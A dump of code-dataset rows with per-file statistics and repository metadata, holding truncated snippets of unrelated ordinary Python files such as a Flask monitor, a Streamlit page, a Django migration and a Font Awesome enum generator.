from google.protobuf import message... | 48.785047 | 958 | 0.818582 | 617 | 5,220 | 6.622366 | 0.290113 | 0.075379 | 0.085658 | 0.10279 | 0.372247 | 0.335536 | 0.26138 | 0.202154 | 0.13999 | 0.11209 | 0 | 0.040571 | 0.074521 | 5,220 | 106 | 959 | 49.245283 | 0.805216 | 0.059962 | 0 | 0.146341 | 1 | 0.036585 | 0.456846 | 0.421139 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.085366 | 0 | 0.085366 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
162de05cb74c05f456bfe1f1ad3fd58b6f6e6969 | 1,061 | py | Python | autocluster/utils/stringutils.py | wywongbd/autocluster | f6c938949c7ef41e28820c4406473120a07fffc5 | [
"BSD-3-Clause"
] | 24 | 2019-09-08T10:09:50.000Z | 2022-03-23T13:24:20.000Z | autocluster/utils/stringutils.py | wywongbd/autocluster | f6c938949c7ef41e28820c4406473120a07fffc5 | [
"BSD-3-Clause"
] | 3 | 2020-06-04T22:44:05.000Z | 2021-12-01T07:33:20.000Z | autocluster/utils/stringutils.py | wywongbd/autocluster | f6c938949c7ef41e28820c4406473120a07fffc5 | [
"BSD-3-Clause"
] | 11 | 2020-01-03T10:38:28.000Z | 2022-02-03T08:18:53.000Z | class StringUtils(object):
# static variables
parameter_algorithm_separator = "___"
parameter_conditions_separator = "|"
@staticmethod
def encode_parameter(parameter_name, algorithm_name):
# if parameter is already encoded, don't encode further
if StringUtils.parameter_is_encode... | 40.807692 | 94 | 0.705938 | 111 | 1,061 | 6.405405 | 0.324324 | 0.126582 | 0.151899 | 0.160338 | 0.109705 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004896 | 0.229972 | 1,061 | 26 | 95 | 40.807692 | 0.865361 | 0.116871 | 0 | 0.176471 | 0 | 0 | 0.004283 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.176471 | false | 0 | 0 | 0.058824 | 0.588235 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
1634e86b2f2aa0acb40952fa20092835398db682 | 43,369 | py | Python | third_party/blink/renderer/bindings/scripts/web_idl/idl_type.py | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 76 | 2020-09-02T03:05:41.000Z | 2022-03-30T04:40:55.000Z | third_party/blink/renderer/bindings/scripts/web_idl/idl_type.py | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 45 | 2020-09-02T03:21:37.000Z | 2022-03-31T22:19:45.000Z | third_party/blink/renderer/bindings/scripts/web_idl/idl_type.py | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 8 | 2020-07-22T18:49:18.000Z | 2022-02-08T10:27:16.000Z | # Copyright 2019 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import functools
from blinkbuild.name_style_converter import NameStyleConverter
from .composition_parts import WithDebugInfo
from .composition_parts import... | 31.541091 | 83 | 0.636814 | 5,056 | 43,369 | 5.202532 | 0.096321 | 0.051019 | 0.028171 | 0.020035 | 0.538131 | 0.456737 | 0.391651 | 0.311702 | 0.268628 | 0.226658 | 0 | 0.00129 | 0.285019 | 43,369 | 1,374 | 84 | 31.564047 | 0.847007 | 0.245475 | 0 | 0.624851 | 0 | 0 | 0.02648 | 0 | 0 | 0 | 0 | 0 | 0.035842 | 1 | 0.228196 | false | 0.037037 | 0.014337 | 0.113501 | 0.48626 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
164254ddc177d701d38479d30a4314366a232dd5 | 16,724 | py | Python | TemplateInstall/PortalDeploy/arcresthelper/securityhandlerhelper.py | conklinbd/MovementAnalysis | 6bd3efa6f82dd794775b742bddccfc10af847d43 | [
"Apache-2.0"
] | null | null | null | TemplateInstall/PortalDeploy/arcresthelper/securityhandlerhelper.py | conklinbd/MovementAnalysis | 6bd3efa6f82dd794775b742bddccfc10af847d43 | [
"Apache-2.0"
] | null | null | null | TemplateInstall/PortalDeploy/arcresthelper/securityhandlerhelper.py | conklinbd/MovementAnalysis | 6bd3efa6f82dd794775b742bddccfc10af847d43 | [
"Apache-2.0"
] | null | null | null | from arcrest import security
import arcrest
from arcrest.manageags import AGSAdministration
from arcrest.manageorg import Administration
import urllib2
import os
import common
import copy
########################################################################
class securityhandlerhelper(object):
"""
A num... | 52.2625 | 124 | 0.457666 | 1,305 | 16,724 | 5.603831 | 0.129502 | 0.025434 | 0.027349 | 0.018597 | 0.413784 | 0.363189 | 0.258991 | 0.240941 | 0.235608 | 0.18556 | 0 | 0.000541 | 0.447261 | 16,724 | 320 | 125 | 52.2625 | 0.790567 | 0.034501 | 0 | 0.270492 | 0 | 0 | 0.080971 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.069672 | 0.032787 | null | null | 0.028689 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
16438e70d209ff2764084b05019ba472100d2988 | 2,237 | py | Python | app/views/main_views.py | sdgdsffdsfff/simple-server-monitor | 91f8dc4edb3101faebdd81fdf91bf139be99ec57 | [
"MIT"
] | 10 | 2015-11-30T12:30:25.000Z | 2022-03-22T03:56:38.000Z | app/views/main_views.py | sdgdsffdsfff/simple-server-monitor | 91f8dc4edb3101faebdd81fdf91bf139be99ec57 | [
"MIT"
] | null | null | null | app/views/main_views.py | sdgdsffdsfff/simple-server-monitor | 91f8dc4edb3101faebdd81fdf91bf139be99ec57 | [
"MIT"
] | 11 | 2015-12-04T02:44:29.000Z | 2020-01-03T10:10:22.000Z | #coding=utf-8
'''
Created on 2015年6月16日
@author: hzwangzhiwei
'''
from app import app
import flask
from app.utils import RequestUtil, OtherUtil
from flask.globals import request
from app.monitors.RedisMonitor import RedisMonitor
from app.monitors.HttpMonitor import HttpMonitor
@app.route('/', methods=['GET'])
def ind... | 32.897059 | 88 | 0.665624 | 281 | 2,237 | 5.142349 | 0.27758 | 0.049827 | 0.111419 | 0.145329 | 0.480277 | 0.451211 | 0.244983 | 0.244983 | 0.182699 | 0.125952 | 0 | 0.027233 | 0.179258 | 2,237 | 68 | 89 | 32.897059 | 0.759804 | 0.061243 | 0 | 0.24 | 0 | 0 | 0.165471 | 0.055476 | 0 | 0 | 0 | 0 | 0 | 1 | 0.16 | false | 0.06 | 0.12 | 0.12 | 0.44 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 2 |
16487cf844b83c1ebc7dd7c01089e627fb8ecefd | 331 | py | Python | HackerEarth/Basic Programming/Basics of Implementation/the_great_kian.py | nsudhanva/Competetive | d9e93fdeefaa4e422a2101db41a7ab0a5676e9da | [
"Unlicense"
] | null | null | null | HackerEarth/Basic Programming/Basics of Implementation/the_great_kian.py | nsudhanva/Competetive | d9e93fdeefaa4e422a2101db41a7ab0a5676e9da | [
"Unlicense"
] | null | null | null | HackerEarth/Basic Programming/Basics of Implementation/the_great_kian.py | nsudhanva/Competetive | d9e93fdeefaa4e422a2101db41a7ab0a5676e9da | [
"Unlicense"
] | null | null | null | n = raw_input()
x = raw_input().split()
#print x
sum1 = 0
sum2 = 0
sum3 = 0
for i in range(int(n)):
if int(x[i]) % 3 == 1:
sum1 = sum1 + int(x[i])
if int(x[i]) % 3 == 2:
sum2 = sum2 + int(x[i])
if int(x[i]) % 3 == 0:
sum3 = sum3 + int(x[i])
print str(sum1) + " " + str(sum2) + " " +... | 19.470588 | 51 | 0.462236 | 61 | 331 | 2.47541 | 0.327869 | 0.15894 | 0.198676 | 0.139073 | 0.225166 | 0.172185 | 0.172185 | 0.172185 | 0 | 0 | 0 | 0.092511 | 0.314199 | 331 | 16 | 52 | 20.6875 | 0.572687 | 0.021148 | 0 | 0 | 0 | 0 | 0.006192 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.076923 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
166fdef82f7cec2143eadfd0b852f26e8dacfc65 | 2,429 | py | Python | aircraft.py | jaredbotte/aircraft-visualizer | bc160742477cac47e8a1c871e57432fa4d2aa9c4 | [
"MIT"
] | null | null | null | aircraft.py | jaredbotte/aircraft-visualizer | bc160742477cac47e8a1c871e57432fa4d2aa9c4 | [
"MIT"
] | null | null | null | aircraft.py | jaredbotte/aircraft-visualizer | bc160742477cac47e8a1c871e57432fa4d2aa9c4 | [
"MIT"
] | null | null | null | import sys
import time
class Aircraft:
def __init__(self, initMessage):
try:
self.ident, self.callsign, self.alt, self.groundSpeed, self.track, self.latitude, \
self.longitude, self.verticalRate, self.squawk, self.isInEmergency, self.isIdent, self.isOnGround = \
... | 35.202899 | 117 | 0.564018 | 301 | 2,429 | 4.531561 | 0.401993 | 0.056452 | 0.087977 | 0.045455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034766 | 0.348703 | 2,429 | 68 | 118 | 35.720588 | 0.827434 | 0.242075 | 0 | 0.106383 | 0 | 0 | 0.061283 | 0 | 0 | 0 | 0 | 0.014706 | 0 | 1 | 0.06383 | false | 0.06383 | 0.042553 | 0 | 0.12766 | 0.06383 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
167ab7190ef39369dbccf6b4eb30f12362c31d43 | 94 | py | Python | src/softfab/docs/concepts/semiauto/__init__.py | boxingbeetle/softfab | 0ecf899f66a1fb046ee869cbfa3b5374b3f8aa14 | [
"BSD-3-Clause"
] | 20 | 2019-02-07T17:03:04.000Z | 2020-03-16T20:45:19.000Z | src/softfab/docs/concepts/semiauto/__init__.py | boxingbeetle/softfab | 0ecf899f66a1fb046ee869cbfa3b5374b3f8aa14 | [
"BSD-3-Clause"
] | 36 | 2019-02-11T08:57:16.000Z | 2020-09-29T05:32:08.000Z | src/softfab/docs/concepts/semiauto/__init__.py | boxingbeetle/softfab | 0ecf899f66a1fb046ee869cbfa3b5374b3f8aa14 | [
"BSD-3-Clause"
] | null | null | null | # SPDX-License-Identifier: BSD-3-Clause
button = 'Semi-auto'
children = ()
icon = 'IconDocs'
| 15.666667 | 39 | 0.691489 | 12 | 94 | 5.416667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012346 | 0.138298 | 94 | 5 | 40 | 18.8 | 0.790123 | 0.393617 | 0 | 0 | 0 | 0 | 0.309091 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
167c338e8ff6bf7d3ac2576d531ff02d3805ebb0 | 551 | py | Python | tests/test_cacheutils.py | induane/maagnar | 614169de18e364f8be82b3a2fdf72caff2a78a61 | [
"MIT"
] | 4 | 2021-02-12T07:00:13.000Z | 2021-03-18T16:16:23.000Z | tests/test_cacheutils.py | induane/maagnar | 614169de18e364f8be82b3a2fdf72caff2a78a61 | [
"MIT"
] | 1 | 2021-03-19T17:30:42.000Z | 2021-07-14T15:22:28.000Z | tests/test_cacheutils.py | induane/maagnar | 614169de18e364f8be82b3a2fdf72caff2a78a61 | [
"MIT"
] | null | null | null | # Project
from maagnar import lib
def test_permutations():
seen = set()
expected = {
"estt",
"etst",
"etts",
"sett",
"stet",
"stte",
"test",
"tets",
"tset",
"tste",
"ttes",
"ttse",
}
for anagram in lib.perm... | 19 | 57 | 0.53539 | 54 | 551 | 5.314815 | 0.611111 | 0.146341 | 0.271777 | 0.160279 | 0.243902 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01084 | 0.330309 | 551 | 28 | 58 | 19.678571 | 0.766938 | 0.012704 | 0 | 0 | 0 | 0 | 0.110701 | 0 | 0 | 0 | 0 | 0 | 0.130435 | 1 | 0.086957 | false | 0 | 0.043478 | 0 | 0.130435 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
167fa659273a86d0a7138f283addf1e1463a1148 | 1,257 | py | Python | pyleecan/Methods/Simulation/ParamExplorerSet/as_dict.py | tobsen2code/pyleecan | 5b1ded9e389e0c79ed7b7c878b6e939f2d9962e9 | [
"Apache-2.0"
] | 95 | 2019-01-23T04:19:45.000Z | 2022-03-17T18:22:10.000Z | pyleecan/Methods/Simulation/ParamExplorerSet/as_dict.py | ecs-kev/pyleecan | 1faedde4b24acc6361fa1fdd4e980eaec4ca3a62 | [
"Apache-2.0"
] | 366 | 2019-02-20T07:15:08.000Z | 2022-03-31T13:37:23.000Z | pyleecan/Methods/Simulation/ParamExplorerSet/as_dict.py | ecs-kev/pyleecan | 1faedde4b24acc6361fa1fdd4e980eaec4ca3a62 | [
"Apache-2.0"
] | 74 | 2019-01-24T01:47:31.000Z | 2022-02-25T05:44:42.000Z | from ....Classes._frozen import FrozenClass
from numpy import ndarray
def as_dict(self, **kwargs):
"""
Convert this object in a json serializable dict (can be use in __init__).
Optional keyword input parameter is for internal use only
and may prevent json serializability.
"""
# Get the propert... | 40.548387 | 80 | 0.653142 | 140 | 1,257 | 5.65 | 0.457143 | 0.22756 | 0.189633 | 0.156764 | 0.197219 | 0.154235 | 0.101138 | 0 | 0 | 0 | 0 | 0 | 0.256961 | 1,257 | 30 | 81 | 41.9 | 0.846895 | 0.249801 | 0 | 0.15 | 0 | 0 | 0.071974 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05 | false | 0 | 0.1 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1685b925df06180fdb534b90ef6792c9bdc0b8a4 | 1,165 | py | Python | main.py | giussepi/spatial-pyramid-features | 4e8d4b754a60daa410a45792ba2093864bc6f2b3 | [
"MIT"
] | null | null | null | main.py | giussepi/spatial-pyramid-features | 4e8d4b754a60daa410a45792ba2093864bc6f2b3 | [
"MIT"
] | null | null | null | main.py | giussepi/spatial-pyramid-features | 4e8d4b754a60daa410a45792ba2093864bc6f2b3 | [
"MIT"
] | 1 | 2020-11-26T17:29:21.000Z | 2020-11-26T17:29:21.000Z | # -*- coding: utf-8 -*-
""" main """
import numpy as np
import settings
from spfs.core.feature_extractors import SpatialPyramidFeatures
from spfs.utils.datasets.handlers import InMemoryDBHandler, LazyDBHandler
from spfs.utils.utils import FeaturesEvaluator
np.random.seed(settings.NUMPY_RANDOM_SEED)
def main():
... | 32.361111 | 84 | 0.633476 | 115 | 1,165 | 6.191304 | 0.478261 | 0.070225 | 0.075843 | 0.113764 | 0.273876 | 0.233146 | 0.132022 | 0.132022 | 0 | 0 | 0 | 0.044745 | 0.175107 | 1,165 | 35 | 85 | 33.285714 | 0.69615 | 0.378541 | 0 | 0 | 0 | 0 | 0.014925 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0.071429 | 0.357143 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 2 |
169163e239e1fcea51ba6a726d2710ed98b513d6 | 1,280 | py | Python | mixcoatl/analytics/tier_analytics.py | zomGreg/mixcoatl | dd8d7e206682955b251d7f858fffee56b11df8c6 | [
"Apache-2.0"
] | null | null | null | mixcoatl/analytics/tier_analytics.py | zomGreg/mixcoatl | dd8d7e206682955b251d7f858fffee56b11df8c6 | [
"Apache-2.0"
] | null | null | null | mixcoatl/analytics/tier_analytics.py | zomGreg/mixcoatl | dd8d7e206682955b251d7f858fffee56b11df8c6 | [
"Apache-2.0"
] | null | null | null | from mixcoatl.resource import Resource
from mixcoatl.decorators.lazy import lazy_property
from mixcoatl.utils import camelize
class TierAnalytics(Resource):
PATH = 'analytics/TierAnalytics'
COLLECTION_NAME = 'analytics'
PRIMARY_KEY = 'tier_id'
def __init__(self, tier_id=None, endpoint=None, *args, **k... | 27.234043 | 86 | 0.657031 | 161 | 1,280 | 4.906832 | 0.322981 | 0.060759 | 0.088608 | 0.053165 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.250781 | 1,280 | 46 | 87 | 27.826087 | 0.823775 | 0 | 0 | 0.162162 | 0 | 0 | 0.046094 | 0.017969 | 0 | 0 | 0 | 0 | 0 | 1 | 0.189189 | false | 0 | 0.081081 | 0.135135 | 0.567568 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
169500346db143649162341193bec08615b90280 | 1,878 | py | Python | spell.py | james-c-lars/Occult-Library | aa2286771b73d27d7e21a402edb06e898fe9f9f7 | [
"MIT"
] | null | null | null | spell.py | james-c-lars/Occult-Library | aa2286771b73d27d7e21a402edb06e898fe9f9f7 | [
"MIT"
] | null | null | null | spell.py | james-c-lars/Occult-Library | aa2286771b73d27d7e21a402edb06e898fe9f9f7 | [
"MIT"
] | null | null | null | from keywords import kw, con
from actions import Action, status_decorator
import status
import spell_status
class Spell(Action):
def __init__(self, user, name, action_type, casting_reqs, /):
Action.__init__(self, user, name, action_type)
self.casting_reqs = casting_reqs
class Fireball(Spell):
def __init__(... | 34.777778 | 135 | 0.750799 | 275 | 1,878 | 4.712727 | 0.203636 | 0.08642 | 0.092593 | 0.05787 | 0.48534 | 0.431327 | 0.298611 | 0.298611 | 0.298611 | 0.21142 | 0 | 0.005974 | 0.108626 | 1,878 | 54 | 136 | 34.777778 | 0.76822 | 0 | 0 | 0.307692 | 0 | 0 | 0.027142 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | true | 0 | 0.102564 | 0 | 0.461538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
1699b2d11b31279fa30ffb3da1dad9bb21557ebe | 3,253 | py | Python | Lab_1 - Setup/app.py | vektirgroup/Pycaret_Labs | 2a8351c05518fe49ec3cf34befb83f10c1fc58a9 | [
"Apache-2.0"
] | null | null | null | Lab_1 - Setup/app.py | vektirgroup/Pycaret_Labs | 2a8351c05518fe49ec3cf34befb83f10c1fc58a9 | [
"Apache-2.0"
] | null | null | null | Lab_1 - Setup/app.py | vektirgroup/Pycaret_Labs | 2a8351c05518fe49ec3cf34befb83f10c1fc58a9 | [
"Apache-2.0"
] | null | null | null | import streamlit as st
import pandas as pd
import numpy as np
# Page Config ==============
st.set_page_config(
page_title=None,
page_icon=None,
layout="wide",
initial_sidebar_state="auto",
menu_items={
'Get Help': 'https://www.extremelycoolapp.com/help',
'Report a bug': "https... | 38.72619 | 114 | 0.634491 | 446 | 3,253 | 4.609865 | 0.443946 | 0.048638 | 0.025292 | 0.026265 | 0.020428 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011687 | 0.210882 | 3,253 | 83 | 115 | 39.192771 | 0.789248 | 0.060252 | 0 | 0.15 | 0 | 0.066667 | 0.743926 | 0.023966 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.05 | 0 | 0.05 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
169fa5d6eaaca252cd66b3a2fa6ed07a3cc5771f | 236 | py | Python | my_lambdata/my_script.py | ekselan/lambdata-abw | c49973dbbc81f1864598baaabdea25628fe3b0bb | [
"MIT"
] | null | null | null | my_lambdata/my_script.py | ekselan/lambdata-abw | c49973dbbc81f1864598baaabdea25628fe3b0bb | [
"MIT"
] | null | null | null | my_lambdata/my_script.py | ekselan/lambdata-abw | c49973dbbc81f1864598baaabdea25628fe3b0bb | [
"MIT"
] | null | null | null | import pandas
#import my_mod
# from my_mod import enlarge # works
from my_lambdata.my_mod import enlarge
print("HELLO WORLD")
print(2 + 2)
df = pandas.DataFrame({"a": [1, 2, 3], "b": [4, 5, 6]})
print(df.head())
y = 9
print(enlarge(y))
| 21.454545 | 55 | 0.673729 | 43 | 236 | 3.604651 | 0.55814 | 0.096774 | 0.141935 | 0.232258 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044776 | 0.148305 | 236 | 10 | 56 | 23.6 | 0.726368 | 0.199153 | 0 | 0 | 0 | 0 | 0.069892 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
16ab9b985e110eb9c5ac16482447591e99fcd101 | 242 | py | Python | src/server_django/my2048bot/urls.py | HighTemplar-wjiang/vue-2048 | ca464feb8a7097880d3cd66be479b3f10aff67a1 | [
"MIT"
] | null | null | null | src/server_django/my2048bot/urls.py | HighTemplar-wjiang/vue-2048 | ca464feb8a7097880d3cd66be479b3f10aff67a1 | [
"MIT"
] | null | null | null | src/server_django/my2048bot/urls.py | HighTemplar-wjiang/vue-2048 | ca464feb8a7097880d3cd66be479b3f10aff67a1 | [
"MIT"
] | null | null | null | from django.urls import path
from . import views
app_name = "my2048bot"
urlpatterns = [
path("hint", views.get_next_step, name="get_next_step"),
path("available_methods", views.get_available_methods, name="get_available_methods")
]
| 24.2 | 88 | 0.752066 | 33 | 242 | 5.212121 | 0.484848 | 0.27907 | 0.127907 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018957 | 0.128099 | 242 | 9 | 89 | 26.888889 | 0.796209 | 0 | 0 | 0 | 0 | 0 | 0.264463 | 0.086777 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
16b204e7d24610c6ba99e67762abb267a2d1c875 | 561 | py | Python | mgmt/migrations/0022_auto_20210712_1254.py | AndreDrDre/AviationStockManagement | 8331edbacc936919ede04da12d7e529e5e38be1c | [
"CC0-1.0"
] | null | null | null | mgmt/migrations/0022_auto_20210712_1254.py | AndreDrDre/AviationStockManagement | 8331edbacc936919ede04da12d7e529e5e38be1c | [
"CC0-1.0"
] | null | null | null | mgmt/migrations/0022_auto_20210712_1254.py | AndreDrDre/AviationStockManagement | 8331edbacc936919ede04da12d7e529e5e38be1c | [
"CC0-1.0"
] | null | null | null | # Generated by Django 3.1.7 on 2021-07-12 12:54
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('mgmt', '0021_auto_20210712_1252'),
]
operations = [
migrations.AlterField(
model_name='workorders',
name='date_added... | 23.375 | 58 | 0.58467 | 58 | 561 | 5.517241 | 0.655172 | 0.125 | 0.15625 | 0.18125 | 0.29375 | 0.29375 | 0.29375 | 0 | 0 | 0 | 0 | 0.079082 | 0.301248 | 561 | 23 | 59 | 24.391304 | 0.737245 | 0.080214 | 0 | 0.352941 | 1 | 0 | 0.132296 | 0.044747 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
16c4b4235cced384a6bb0b400b8b6044cefc2a83 | 895 | py | Python | parse.py | jt28828/-fontawesome-enum-generator | 30b27885f3c3dadb5b17af5033b4c57169dda8f4 | [
"Unlicense"
] | null | null | null | parse.py | jt28828/-fontawesome-enum-generator | 30b27885f3c3dadb5b17af5033b4c57169dda8f4 | [
"Unlicense"
] | null | null | null | parse.py | jt28828/-fontawesome-enum-generator | 30b27885f3c3dadb5b17af5033b4c57169dda8f4 | [
"Unlicense"
] | null | null | null | import json
from http.client import HTTPResponse
from typing import TextIO, Dict
from urllib import request
from platforms.cpp import as_cpp_enum
from platforms.csharp import as_csharp_enum
from platforms.java import as_java_enum
from platforms.python import as_python_enum
from platforms.typescript import as_typescrip... | 27.121212 | 96 | 0.774302 | 131 | 895 | 5.015267 | 0.374046 | 0.073059 | 0.091324 | 0.085236 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15419 | 895 | 32 | 97 | 27.96875 | 0.8679 | 0.084916 | 0 | 0 | 0 | 0.045455 | 0.104551 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.409091 | 0 | 0.545455 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
16c5e9e4a7c1ea3e67ffe1c22bde83685eb5dfff | 896 | py | Python | TensorArtist/tests/test_core_env.py | cosmic119/DiscoGAN | 5a86f36f45a3dafdc028fc2100eb477e54dc83cd | [
"MIT"
] | 54 | 2017-03-31T08:46:18.000Z | 2022-03-09T14:37:19.000Z | TensorArtist/tests/test_core_env.py | cosmic119/DiscoGAN | 5a86f36f45a3dafdc028fc2100eb477e54dc83cd | [
"MIT"
] | 1 | 2017-08-21T07:29:33.000Z | 2017-08-21T09:52:40.000Z | TensorArtist/tests/test_core_env.py | cosmic119/DiscoGAN | 5a86f36f45a3dafdc028fc2100eb477e54dc83cd | [
"MIT"
] | 3 | 2017-05-24T17:43:35.000Z | 2018-09-19T11:18:23.000Z | # -*- coding:utf8 -*-
# File : test_core_defaults.py
# Author : Jiayuan Mao
# Email : maojiayuan@gmail.com
